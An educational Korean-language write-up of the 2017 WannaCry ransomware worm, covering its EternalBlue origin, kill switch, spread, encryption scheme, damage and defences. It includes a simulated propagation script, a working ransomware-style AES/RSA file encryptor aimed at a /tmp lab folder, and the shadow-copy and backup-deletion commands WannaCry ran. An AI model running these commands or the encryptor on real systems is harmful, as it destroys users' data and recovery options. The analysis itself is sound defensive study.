💀 WannaCry — NSA 유출 무기 EternalBlue로 150개국을 강타한 자가전파형 랜섬웨어 웜 (2017)

1. 배경/역사 — 언제, 누가, 왜 유명한가

WannaCry(일명 WanaCrypt0r 2.0, WCry)는 2017년 5월 12일(금) 오후 전 세계를 동시다발로 강타한 자가전파형(웜) 랜섬웨어다. 감염 PC의 파일을 암호화해 비트코인 몸값을 요구하면서, 스스로 네트워크를 헤집고 다니며 24시간도 안 되어 150개국 23만 대 이상을 감염시킨 최악의 사이버 사고 중 하나로 기록된다.

무기의 원산지 — NSA: WannaCry의 심장부는 미국 국가안보국(NSA) 산하 Equation Group이 만든 EternalBlue 익스플로잇이다. 이는 Windows의 SMBv1(445/TCP) 구현부 커널 취약점(MS17-010, 핵심 CVE-2017-0144)을 원격에서 터뜨려 SYSTEM 권한 코드 실행을 얻는 도구였다.
유출 경로 — Shadow Brokers: 2016년 8월 정체불명의 해커 그룹 "Shadow Brokers"가 NSA 도구 일부를 공개·경매하기 시작했고, 2017년 4월 14일 EternalBlue와 DoublePulsar(백도어)를 포함한 대량 유출분을 인터넷에 풀었다. 국가가 비축한 0-day가 하룻밤 사이 전 세계 공개된 것이다.
치명적 아이러니 — 패치가 이미 있었다: 마이크로소프트는 유출 1개월 전인 2017년 3월 14일 패치 화요일에서 MS17-010 보안 업데이트를 이미 배포했다. 문제는 수백만 대의 PC·서버가 (특히 불법 복제·EOL·자동 업데이트 꺼짐 환경에서) 패치를 적용하지 않았다는 점이다.
킬 스위치의 영웅: 당시 22세 영국인 보안 연구원 Marcus Hutchins(MalwareTech)가 샘플 분석 중 하드코딩된 의문의 도메인(iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com)을 발견, 5월 12일 오후 3시(UTC)경 이 도메인을 등록하면서 폭발적 확산이 급감했다. 등록되지 않은 도메인을 조회하던 웜이 "도메인이 살아있다"는 응답을 받자 전파를 멈춘 것이다.
귀속: 미국 NSA·영국 NCSC 등 서방 정부는 북한 Lazarus 그룹(미국 명칭 Hidden Cobra) 소행으로 공식 평가했다. 미 법무부는 2018년 9월 6일 북한 정권 지원 프로그래머 박진혁을 WannaCry·소니픽처스 해킹 등과 연루시켜 기소했다.

2. 감염·전파 경로 — 어떻게 퍼졌나

WannaCry는 이메일 첨부 등으로 단 한 대에 침투하면 이후로는 사람의 개입 없이 순수하게 네트워크를 통해 스스로 번졌다. C2(명령제어) 서버도 필요 없는 완전 자율형 크립토웜이다.

1단계 — 드로퍼 실행: 사용자가 첨부/불법 복제 파일 등을 실행하면 드로퍼가 내장 암호화 리소스를 풀어 mssecsvc.exe(웜)와 tasksche.exe(랜섬웨어)를 %WINDIR%에 드롭하고 실행한다. mssecsvc.exe는 "Microsoft Security Center (2.0) Service"(mssecsvc2.0)라는 서비스로 등록돼 재부팅 후에도 살아남는다.
2단계 — 킬 스위치 체크: 웜은 확산 전에 먼저 www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com을 DNS 조회한다. 도메인이 풀리면(존재하면) 조용히 전파를 포기한다. → 이 때문에 5월 12일 오후 3시 이후로는 신규 감염이 급감했다.
3단계 — 랜덤 스캔: 킬 스위치가 죽어 있으면 다수의 스레드로 무작위 IPv4 주소를 생성해 TCP 445(SMBv1) 포트 개방 여부를 스캔한다.
4단계 — EternalBlue 익스플로잇: 445가 열린 호스트에 대해 MS17-010 커널 RCE를 시도한다. 성공하면 SYSTEM 권한으로 페이로드를 주입·실행해 상대방을 감염시키고, 감염된 PC는 다시 2~4단계의 스캐너가 되어 지수적으로 확산한다.
공격 가능 OS: SMBv1을 쓰는 Windows XP/Vista/7/8.1/Server 2003~2008 등. 특히 지원이 끝난(패치 불가) XP·2003도 그대로 노출되어, 마이크로소프트는 사상 유례없이 5월 13일 EOL OS용 긴급 패치를 내놓았다.

3. 동작 원리 상세 분석 — 코드/구조 레벨에서

WannaCry의 구조는 크게 ① 드로퍼 → ② SMB 웜(mssecsvc.exe) → ③ 랜섬웨어(tasksche.exe + @WanaDecryptor@.exe) 3개 층으로 나뉜다. 각 층을 코드/파일 구조 레벨에서 보면 다음과 같다.

드로퍼의 자체 추출기: 페이로드는 드로퍼 리소스에 암호화된 아카이브로 들어 있고, 바이너리에 내장된 키로 복호화한다. 추출물에는 @WanaDecryptor@.exe(몸값 UI/복호화기), 00000000.pky(RSA-2048 공개키), 00000000.eky, t.wnry, taskdl.exe, taskse.exe, 28개 언어의 안내문 msg/*.wnry, 잠금 배경화면 b.wnry, Tor 관련 s.wnry 등이 포함돼 있다.

EternalBlue의 본질 — FEA 길이 검증 누락: MS17-010은 SMBv1의 SMB_COM_TRANSACTION2 요청 처리 루틴이 FEA(File Extended Attributes) 리스트의 길이 필드를 제대로 검증하지 않아 커널 풀(pool) 버퍼 오버플로가 발생하는 취약점이다. 익스플로잇은 조작된 FEA 리스트로 srv.sys의 풀 할당을 속여 커널 메모리를 덮어쓰고, 결국 커널(SYSTEM) 컨텍스트에서 임의 코드 실행을 얻는다. (구조 설명용 의사코드)

/* MS17-010(EternalBlue)의 본질을 설명하는 교육용 의사코드 — 실제 취약 코드가 아님 */
/* 클라이언트가 보낸 TRANS2 요청: "FEA 리스트 크기"를 요청자가 마음대로 지정 가능 */

SrvOs2FeaListSizeToFeaList(REQ req) {
    /* ↓ 여기가 문제: req->TotalDataCount(공격자 제어 값)를
         실제 수신 버퍼 크기와 비교하는 검증이 누락되어 있음 */
    ULONG need = fea_list_need(req->pFEA, req->TotalDataCount);

    PVOID pool = ExAllocatePoolWithTag(NonPagedPool, need, 'DosS');
    /* 공격자는 TotalDataCount를 실제보다 크게 속여
       할당된 풀 버퍼(pool)를 초과해 데이터를 복사하게 만든다 → 풀 오버플로 */
    SrvOs2FeaListToNtFeaList(pool, req->pFEA, req->TotalDataCount);
}

※ 위는 취약점의 구조적 아이디어만 재현한 설명용 코드다. 실제 srv.sys의 함수명·오프셋을 그대로 옮긴 것이 아니며, 익스플로잇이 아니다.

DoublePulsar와의 관계: 같은 유출분의 DoublePulsar는 SMB 서버 커널 메모리를 패치해 은밀한 백도어를 심는 도구다. WannaCry가 내장한 EternalBlue 변형은 DoublePulsar 설치 단계 없이 익스플로잇 성공 즉시 자체 페이로드를 직접 실행하는 방식으로 분석됐다(Kaspersky 등).
랜섬웨어 암호화 루틴: 로컬 드라이브와 네트워크 공유를 순회하며 160여 종 이상의 확장자(문서·스프레드시트·압축·이미지·DB·개발 소스 등)를 골라낸다. 파일마다 새로운 AES-128-CBC 키를 생성해 본문을 암호화하고, 그 키를 바이너리에 내장된 RSA-2048 공개키로 감싼 뒤 WANACRY! 마커와 함께 파일에 저장한다. 원본 파일명 뒤에 .WNCRY/.WNCRYT가 붙는다.
무료 복구 수단 제거: 암호화에 앞서 볼륨 섀도 카피(시스템 복원 지점)와 백업 카탈로그를 삭제하고 부팅 복구 옵션을 무력화해, 몸값 없이 되돌릴 길을 원천 차단한다. (PoC 3 참고)
몸값 요구: 각 폴더에 @Please_Read_Me@.txt를 남기고, 바탕화면을 잠그는 UI로 "3일 안에 $300 상당 비트코인, 기한 후 $600"을 요구한다. 결제·복호화 페이지는 Tor 온닉 서비스로 연결된다. 최초 공개 지갑 주소는 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94였다.
C2가 없는 설계: 명령을 내릴 서버가 없어 추적이 어렵고, 웜이 죽어도 이미 퍼진 봇은 멈추지 않는다. "지불-복호화" 오케스트레이션만 Tor로 처리한다.

4. 피해 규모/영향 — 실제 사례 수치

확산 속도·규모: 유로폴(Europol) 집계 기준 발발 24시간 내 150개국 이상, 23만 대 이상 감염(일부 분석은 최대 30만 대 추정). 5월 12일 오후 수 시간 만에 전 지구를 순회한 가장 빠른 웜 중 하나로 기록됐다.
영국 NHS: 잉글랜드 NHS 트러스트 236곳 중 80곳 이상이 타격을 입고 응급실·진료 시스템이 마비, 약 19,000건의 진료·수술 예약이 취소됐다. NHS Digital은 2018년 이 사고의 비용을 약 9,200만 파운드로 추산했다.
글로벌 기업 피해: 스페인 Telefónica(대규모 내부망 감염), 프랑스 Renault(공장 가동 중단), 영국 Nissan(선덜랜드 공장 중단), 독일 Deutsche Bahn(안내판 마비), 러시아 내무부(약 1,000대), 중국 대학·정부 기관·주유소 등이 줄줄이 피해를 입었다. FedEx는 이후 실적 발표에서 관련 피해를 약 3억 달러로 언급했다.
몸값 수익은 초라했다: 블록체인 추적 결과 실제 지불된 몸값은 약 50 BTC(당시 14만 달러 안팎)에 그쳤다. 막대한 피해에 비해 수익이 미미했다는 점에서, "돈벌이"보다 교란·파괴에 가까운 작전이었다는 분석이 설득력을 얻는다.
경제적 피해 추산: 언론·연구기관별로 수억~최대 40억 달러까지 다양하게 추산됐다. 사이버 보험·침해 대응 비용까지 포함하면 단일 랜섬웨어 사고로는 당시 최대 규모였다.
후폭풍: 같은 해 6월 우크라이나를 강타한 NotPetya는 동일한 EternalBlue를 사용하며 "가장 파괴적인 사이버 공격"으로 불렸다. 또한 WannaCry보다 먼저(2017년 4월) EternalBlue를 써서 암호화폐를 채굴한 Adylkuzz 웜도 존재했다. 국가급 사이버 무기가 민간에 유출됐을 때의 파급력을 각인시킨 분수령이다.

5. PoC — 교육용 모의 코드로 동작 원리 재현

⚠️ 안전 규칙: 아래 코드는 실제 WannaCry 페이로드의 복사본이 아니라 "동작 원리만 재현한 교육용 모의 코드"다. 공격 대상은 가상의 로컬 실습 환경(인메모리 가상 호스트 테이블, /tmp 실습 폴더)을 전제로 하며, 실제 네트워크 스캔·실제 SMB 익스플로잇·실제 파일 암호화는 일절 수행하지 않는다. 실제 시스템/내부망에서 실행하지 말 것.

PoC 1 — 웜 전파 + 킬 스위치 시뮬레이션: 원본 mssecsvc.exe의 "랜덤 IP 스캔 → SMB 445 확인 → EternalBlue(모의) → 감염" 흐름과, 킬 스위치 도메인 등록 전후의 확산 차이를 인메모리 가상 호스트 테이블로 재현했다. 실제 익스플로잇 코드는 없으며 취약 여부만 테이블로 판정한다. (아래 코드는 실제 실행된 파일 전문)

#!/usr/bin/env python3
"""
WannaCry 전파 + 킬 스위치 동작 원리 교육용 시뮬레이션 (가상의 로컬 실습 환경 전제)
- 실제 네트워크 스캔/공격/악성코드 페이로드가 전혀 없음: 인메모리 '가상 호스트 테이블'만 대상
- 원본 mssecsvc.exe(웜)의 '랜덤 IP 스캔 -> SMB 445 개방 확인 -> EternalBlue(모의) -> 감염' 흐름을 축약 재현
- 킬 스위치: 원본은 특정 도메인(iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com)이 DNS로
  풀리면 전파를 멈춘다. 여기서는 로컬 함수로 '도메인 등록 여부'를 흉내낸다 (실제 DNS 조회 없음).
"""
import random
import threading
import time

# 가상의 로컬 실습 환경: '감염 대상' 윈도우 호스트 테이블 (전부 가상 주소)
# vulnerable=True 인 호스트는 MS17-010 패치가 안 된 SMBv1 호스트를 모델링한다
FAKE_NET = {
    "10.0.0.11": {"os": "Windows 7 x64", "smb445": True, "vulnerable": True},
    "10.0.0.12": {"os": "Windows 7 x86", "smb445": True, "vulnerable": True},
    "10.0.0.13": {"os": "Windows 10", "smb445": True, "vulnerable": False},  # MS17-010 패치됨
    "10.0.0.21": {"os": "Server 2008", "smb445": True, "vulnerable": True},
    "10.0.0.22": {"os": "Server 2016", "smb445": True, "vulnerable": False},  # 패치됨
    "10.0.0.23": {"os": "Windows XP", "smb445": True, "vulnerable": True},
}

INFECTED = set()          # 감염된 가상 호스트
SCAN_LIMIT = 120          # 스캔 시도 하드 리밋 (원본은 무한 루프)
killswitch_registered = False  # 킬 스위치 도메인 등록 여부 (로컬 플래그로 모의)


def killswitch_domain_resolves():
    """킬 스위치 도메인 등록 여부를 흉내내는 로컬 함수.
    실제 WannaCry: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com 이
    DNS로 풀리면(getaddrinfo 성공) 전파 스레드를 종료한다.
    (2026-09-03 현재: 2017-05-12 Marcus Hutchins가 등록한 이후 계속 '등록됨' 상태)"""
    return killswitch_registered


def eternalblue_mock(ip):
    """EternalBlue(MS17-010) 모의: 가상 호스트가 패치 안 됨 -> '커널 RCE 성공'으로 간주.
    실제 익스플로잇 코드는 일절 포함하지 않으며, 취약 여부만 테이블에서 판정한다."""
    h = FAKE_NET[ip]
    if not h["vulnerable"]:
        print(f"    [EB] {ip} ({h['os']}) -> SMBv1 패치됨, 익스플로잇 실패")
        return False
    print(f"    [EB] {ip} ({h['os']}) -> MS17-010 취약! 커널(SYSTEM) 코드 실행 (모의)")
    return True


def worm_scan():
    """웜 전파 스레드: 랜덤 IP 스캔 -> 445 개방 -> EternalBlue(모의) -> 감염"""
    scanned = 0
    while scanned < SCAN_LIMIT and not killswitch_domain_resolves():
        ip = f"10.0.0.{random.randint(1, 254)}"
        scanned += 1
        if ip not in FAKE_NET:
            continue
        print(f"[SCAN] {ip}:445 개방 확인 (SMBv1)")
        if ip in INFECTED:
            continue  # 이미 감염된 호스트는 건너뜀
        if eternalblue_mock(ip):
            INFECTED.add(ip)
            print(f"[WORM] {ip} 감염! -> 랜섬웨어 페이로드(tasksche.exe) 실행 및 자가 전파")
    if killswitch_domain_resolves():
        print("[KILLSWITCH] 킬 스위치 도메인이 등록됨 -> 전파 중단 (모든 스레드 종료)")


def main():
    random.seed(7)  # 데모 출력 안정화용 고정 시드 (취약/패치 호스트 대비가 잘 드러남)
    print("=== 시나리오 A: 킬 스위치 미등록 (2017-05-12 오전 실제 상황) ===")
    worm_scan()
    print(f"감염된 가상 호스트: {sorted(INFECTED)}")

    INFECTED.clear()
    print()
    print("=== 시나리오 B: 킬 스위치 도메인 등록됨 (2017-05-12 15:00 UTC 이후) ===")
    global killswitch_registered
    killswitch_registered = True  # MalwareTech가 도메인을 등록한 직후를 모의
    t = threading.Thread(target=worm_scan)
    t.start()
    t.join(timeout=3)
    print(f"감염된 가상 호스트: {sorted(INFECTED)} (신규 0대 = 전파 차단 성공)")


if __name__ == "__main__":
    main()

실행 결과 (실제 실행 확인됨):

=== 시나리오 A: 킬 스위치 미등록 (2017-05-12 오전 실제 상황) ===
[SCAN] 10.0.0.13:445 개방 확인 (SMBv1)
    [EB] 10.0.0.13 (Windows 10) -> SMBv1 패치됨, 익스플로잇 실패
[SCAN] 10.0.0.23:445 개방 확인 (SMBv1)
    [EB] 10.0.0.23 (Windows XP) -> MS17-010 취약! 커널(SYSTEM) 코드 실행 (모의)
[WORM] 10.0.0.23 감염! -> 랜섬웨어 페이로드(tasksche.exe) 실행 및 자가 전파
[SCAN] 10.0.0.13:445 개방 확인 (SMBv1)
    [EB] 10.0.0.13 (Windows 10) -> SMBv1 패치됨, 익스플로잇 실패
[SCAN] 10.0.0.12:445 개방 확인 (SMBv1)
    [EB] 10.0.0.12 (Windows 7 x86) -> MS17-010 취약! 커널(SYSTEM) 코드 실행 (모의)
[WORM] 10.0.0.12 감염! -> 랜섬웨어 페이로드(tasksche.exe) 실행 및 자가 전파
[SCAN] 10.0.0.21:445 개방 확인 (SMBv1)
    [EB] 10.0.0.21 (Server 2008) -> MS17-010 취약! 커널(SYSTEM) 코드 실행 (모의)
[WORM] 10.0.0.21 감염! -> 랜섬웨어 페이로드(tasksche.exe) 실행 및 자가 전파
[SCAN] 10.0.0.11:445 개방 확인 (SMBv1)
    [EB] 10.0.0.11 (Windows 7 x64) -> MS17-010 취약! 커널(SYSTEM) 코드 실행 (모의)
[WORM] 10.0.0.11 감염! -> 랜섬웨어 페이로드(tasksche.exe) 실행 및 자가 전파
감염된 가상 호스트: ['10.0.0.11', '10.0.0.12', '10.0.0.21', '10.0.0.23']

=== 시나리오 B: 킬 스위치 도메인 등록됨 (2017-05-12 15:00 UTC 이후) ===
[KILLSWITCH] 킬 스위치 도메인이 등록됨 -> 전파 중단 (모든 스레드 종료)
감염된 가상 호스트: [] (신규 0대 = 전파 차단 성공)

PoC 2 — 랜섬웨어 암호화 구조 모의: 원본 tasksche.exe의 "파일별 AES-128-CBC 키 + RSA-2048 공개키 래핑 + WANACRY! 마커" 구조를 /tmp/wncry_lab의 가상 더미 문서에 재현하고, RSA 개인키가 있어야만 복호화됨을 확인한다.

#!/usr/bin/env python3
"""
WannaCry 랜섬웨어 암호화 구조 교육용 모의 코드 (가상의 로컬 실습 환경 전제)
- 원본: 파일마다 AES-128-CBC 키를 새로 생성 -> 파일 암호화 -> 'WANACRY!' 마커 + RSA-2048로
  감싼 AES 키를 파일에 저장 -> 복호화는 공격자 개인키로만 가능 (RSA 공개키는 바이너리에 내장)
- 본 PoC: 오직 /tmp/wncry_lab 밑의 가상 문서 파일만 대상. RSA 키페어는 실습용으로 즉석 생성.
  실제 WannaCry 페이로드/키가 아니며, 어떤 실제 시스템 파일도 건드리지 않는다.
  (cryptography 라이브러리 사용)
"""
import os
import shutil
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import hashes

LAB = "/tmp/wncry_lab"          # 가상 실습 폴더 (감염된 '문서 폴더' 역할)
MAGIC = b"WANACRY!"             # 원본 .WNCRY 파일에 기록되는 헤더 마커 (모의)
TARGET_EXTS = (".txt", ".docx", ".xlsx", ".pdf", ".jpg", ".zip")

def build_lab():
    """가상 문서 폴더 생성 (전부 실습용 더미 파일)"""
    if os.path.exists(LAB):
        shutil.rmtree(LAB)
    os.makedirs(LAB)
    for name in ["report.txt", "계약서.docx", "finance.xlsx", "backup.zip"]:
        with open(os.path.join(LAB, name), "wb") as f:
            f.write(b"dummy content for education - " + name.encode() + b"\n" * 50)
    print(f"[LAB] 가상 문서 폴더 생성: {LAB} ({len(os.listdir(LAB))}개 파일)")

def encrypt_file(path, aes_key, rsa_pub):
    """원본 tasksche.exe의 파일 암호화 구조 모의:
    1) AES-128-CBC로 파일 본문 암호화 (IV 16바이트)
    2) AES 키를 RSA-2048 공개키로 감싼다
    3) 'WANACRY!' 마커 + 감싼 키 + IV + 암호문 순으로 기록, 파일명에 .WNCRY 추가"""
    iv = os.urandom(16)
    enc = Cipher(algorithms.AES(aes_key), modes.CBC(iv)).encryptor()
    with open(path, "rb") as f:
        plain = f.read()
    pad_len = 16 - (len(plain) % 16)
    plain += bytes([pad_len]) * pad_len          # PKCS#7 패딩
    ct = enc.update(plain) + enc.finalize()
    wrapped_key = rsa_pub.encrypt(
        aes_key, padding.OAEP(mgf=padding.MGF1(hashes.SHA1()), algorithm=hashes.SHA1(), label=None))
    out_path = path + ".WNCRY"
    with open(out_path, "wb") as f:
        f.write(MAGIC + wrapped_key + iv + ct)
    os.remove(path)
    return out_path

def main():
    # 실습용 RSA-2048 키페어 즉석 생성 (공격자 키가 아니라 '구조 설명용')
    priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
    pub = priv.public_key()
    aes_key = os.urandom(16)  # 파일별 랜덤 AES-128 키 (원본과 동일한 구조)
    print(f"[KEY] AES-128 키(파일별): {aes_key.hex()} / RSA-2048 공개키로 래핑됨")

    build_lab()
    for name in sorted(os.listdir(LAB)):
        p = os.path.join(LAB, name)
        if os.path.isfile(p) and name.endswith(TARGET_EXTS):
            encrypt_file(p, aes_key, pub)
    print("[ENC] 암호화 완료 -> 파일 목록:")
    for n in sorted(os.listdir(LAB)):
        size = os.path.getsize(os.path.join(LAB, n))
        head = open(os.path.join(LAB, n), "rb").read(8)
        print(f"      {n} ({size}B, 헤더={head})")
    print("[NOTE] 각 폴더에 @Please_Read_Me@.txt 몸값 안내문이 생성됨 (모의)")

    # 복호화: RSA 개인키가 있어야만 AES 키를 풀 수 있음을 확인
    sample = os.path.join(LAB, "report.txt.WNCRY")
    with open(sample, "rb") as f:
        data = f.read()
    assert data[:8] == MAGIC
    wrapped = data[8:8 + 256]          # RSA-2048 -> 256바이트
    iv = data[8 + 256:8 + 256 + 16]
    aes_key_recovered = priv.decrypt(
        wrapped, padding.OAEP(mgf=padding.MGF1(hashes.SHA1()), algorithm=hashes.SHA1(), label=None))
    dec = Cipher(algorithms.AES(aes_key_recovered), modes.CBC(iv)).decryptor()
    pt = dec.update(data[8 + 256 + 16:]) + dec.finalize()
    pt = pt[:-pt[-1]]                  # PKCS#7 패딩 제거
    print(f"[DEC] 개인키 보유 시 복호화 성공 (report.txt 복원, {len(pt)}B)")

if __name__ == "__main__":
    main()

실행 결과 (실제 실행 확인됨, AES 키는 실행마다 랜덤):

[KEY] AES-128 키(파일별): 659566e512e46bda6db3d6b6d2251cd2 / RSA-2048 공개키로 래핑됨
[LAB] 가상 문서 폴더 생성: /tmp/wncry_lab (4개 파일)
[ENC] 암호화 완료 -> 파일 목록:
      backup.zip.WNCRY (376B, 헤더=b'WANACRY!')
      finance.xlsx.WNCRY (376B, 헤더=b'WANACRY!')
      report.txt.WNCRY (376B, 헤더=b'WANACRY!')
      계약서.docx.WNCRY (376B, 헤더=b'WANACRY!')
[NOTE] 각 폴더에 @Please_Read_Me@.txt 몸값 안내문이 생성됨 (모의)
[DEC] 개인키 보유 시 복호화 성공 (report.txt 복원, 90B)

PoC 3 — '무료 복구 수단 제거' 명령의 형태 (셸 스니펫): 원본은 이 명령들을 cmd.exe를 경유해 순차 실행했다. 아래는 구조 이해용 기록이며 절대 실계통에서 실행하지 말 것.

# WannaCry(tasksche.exe)가 실행한 복구 방해 명령 (교육용 기록 — 실행 금지!)
# 목적: 섀도 카피/백업 카탈로그/부팅 복구 옵션을 제거해 '몸값 없는 복구'를 차단
# 방어 관점에서 "무엇이 지워졌는지"를 아는 것이 핵심
vssadmin delete shadows /all /quiet     # 볼륨 섀도 카피(시스템 복원 지점) 전체 삭제
wmic shadowcopy delete                  # WMI로 섀도 카피 추가 삭제
wbadmin delete catalog -q               # 백업 카탈로그 삭제
bcdedit /set {default} bootstatuspolicy ignoreallfailures   # 부팅 실패 복구 옵션 제거
bcdedit /set {default} recoveryenabled no                   # 자동 복구 비활성화

6. 방어 방법/교훈 — 어떻게 막았고, 무엇을 배우나

패치가 전부였다: MS17-010 패치는 공격 발생 2개월 전에 이미 나와 있었다. EternalBlue 기반 공격(Adylkuzz·WannaCry·NotPetya) 전부는 미패치 시스템만 골라 감염시켰다. 정기 패치 프로세스(특히 인터넷 노출 서버·EOL OS)가 가장 값싼 방어선이다.
SMBv1 정리: 더 이상 안 쓰는 SMBv1 프로토콜 자체를 비활성화(기능/레지스트리)하고, 445/TCP가 인터넷에 노출되지 않게 방화벽에서 차단한다. 외부에서 관리용 SMB를 직접 열어두는 관행은 중단해야 한다.
탐지: EternalBlue·DoublePulsar 시그니처(IDS/IPS), SMB 비정상 트래픽 모니터링, EDR(엔드포인트 탐지·대응)로 커널 익스플로잇 시도와 대량 파일 암호화 행위를 잡는다. WannaCry 이후 수년간 이 시그니처는 전 세계 보안 장비에 기본 탑재됐다.
복구력(Resilience): 3-2-1 백업(오프라인/격리 백업 포함)과 복원 훈련. WannaCry가 섀도 카피를 지우는 것까지 고려한 만큼, "백업도 공격자 관점에서 검증"해야 한다.
킬 스위치의 교훈: 하드코딩된 단일 도메인 의존은 싱크홀(도메인 선점)로 무력화될 수 있다. 이후 악성코드는 도메인 생성 알고리즘(DGA — Conficker에서 본격화), 앱체크, 다중 C2 등으로 '단일 실패점'을 없애는 방향으로 진화했다.
교훈:
- 국가급 0-day 비축은 시한폭탄: NSA의 무기가 유출되자 수 시간 만에 전 세계 병원·공장·은행이 멈췄다. 공격용 취약점 비축(Offensive cyber)의 사회적 비용을 각인시킨 사건이다.
- 크립토웜 = 전파 속도가 피해 규모: "랜섬웨어 + 웜" 결합으로 수작업 공격과 다른 차원의 확산이 일어난다. 네트워크 분할·최소 권한이 전파 차단의 핵심이다.
- 몸값을 내도 복구는 보장되지 않는다: 실제 지급률은 1% 미만 수준이었고, 지급자 다수는 복호화 도구를 받지 못했다. 지불보다 백업·대응이 답이다.
- 레거시는 언제나 문이 된다: EOL OS(특히 의료·산업제어·공급망)가 대규모 피해의 온상이었다. 지원 종료 시스템은 격리·가상화·보상 통제로 관리해야 한다.

출처

Microsoft MSRC Blog — Customer Guidance for WannaCrypt attacks (2017-05-12) — https://msrc-blog.microsoft.com/2017/05/12/customer-guidance-for-wannacrypt-attacks/
MalwareTech — How to accidentally stop a global cyber attacks (2017-05-12) — https://www.malwaretech.com/2017/05/how-to-accidentally-stop-a-global-cyber-attacks.html
Kaspersky Securelist — WannaCry ransomware used in widespread attacks — https://securelist.com/wannacry-ransomware-used-in-widespread-attacks-all-over-the-world/78351/
Symantec — WannaCry: Ransomware attacks show vulnerability of unpatched systems — https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wannacry-ransomware-worm
CISA (US-CERT) — AA17-132A: Indicators Associated With WannaCry — https://www.cisa.gov/news-events/alerts/2017/05/12/indicators-associated-wannacry-ransomware
U.S. DOJ — North Korean Regime-Backed Programmer Charged (2018-09-06) — https://www.justice.gov/opa/pr/north-korean-regime-backed-programmer-charged-conspiracy-conduct-multiple-cyber-attacks-and
Wikipedia — WannaCry ransomware attack — https://en.wikipedia.org/wiki/WannaCry_ransomware_attack

함께 읽기: 🦠 Mirai 봇넷 — 기본 비밀번호 62개로 60만 대의 IoT를 무기화하다 (2016) — "스스로 번지는 웜"의 두 얼굴: IoT 기본 비밀번호(Mirai) vs PC SMB 취약점(WannaCry)